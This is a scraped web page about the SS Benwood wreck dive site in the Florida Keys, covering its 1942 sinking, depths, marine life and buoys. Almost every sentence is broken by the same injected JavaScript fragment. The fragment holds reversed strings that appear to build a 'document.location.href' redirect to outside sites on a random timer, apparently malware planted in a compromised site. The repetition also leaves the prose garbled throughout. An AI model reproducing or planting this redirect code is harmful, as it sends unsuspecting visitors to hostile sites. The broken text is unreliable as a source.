Benwood Wreck

Fast Facts

Located within the Florida Keys National Marine Sanctuary is the SS Benwood. This 360-foot long, 51-foot wide 1910 English-built ship sailed a crew of 38 with 12 rifles and one four-inch gun.

The actual sinking of the Benwood, which occurred on April 6th, 1942, has been a subject of much controversy. One account goes as follows. The freighter was doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torpedoed during World War II by a German submarine off the Florida Keys. As she sailed in search of shallower waters, she was again hit, this time by a passing ship, the Robert C. Tuttle. Five shells on board exploded ending this ship’s possibility for being salvaged. A second more likely account claims the two ships, the Benwood and the Tuttle, collided. Rumors of German U-boats in the area required her doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to travel completely blacked out. The Robert C. Tuttle, also blacked out, was traveling in the same area, bound for Texas. The two ships were on a collision course, and the bow of the Benwood collided with the port side of the Tuttle.

After she sank, her bow was destroyed doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid navigation hazards and her hull was used for bombing practice. The remains of her bow now lie in 25 feet of water and provide a home doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to many fish. Depths of this dive range down doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 55 feet at her stern. Goatfish, grunts, moray eels, glassy sweepers, snapper, lobster, grouper and hogfish frequent this wreck. The site is home doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a healthy collection of sea fans, sea whips, brain coral, sponges and fire coral. Be careful doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid contact with the potentially harmful fire coral and with all corals as contact will result in damage doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the organisms. The still and careful observer will be able doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see tiny jawfish emerge from their protected homes.

Bioluminescent creatures create the nighttime beauty of this location. Divers should be aware that a moderate current is often present at this site. Night diving is meant for the more experienced diver while divers at all levels will find this a great day-time dive.

Although her location is a bit hard doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to describe, she lies between French Reef and the Dixie Shoals and is marked by a spar buoy and four mooring buoys.

 

 

To take a virtual doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour provided by the National Marine Sanctuary click here for a 3D doc/rettelswen/moc.cniwyks//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour see the video below!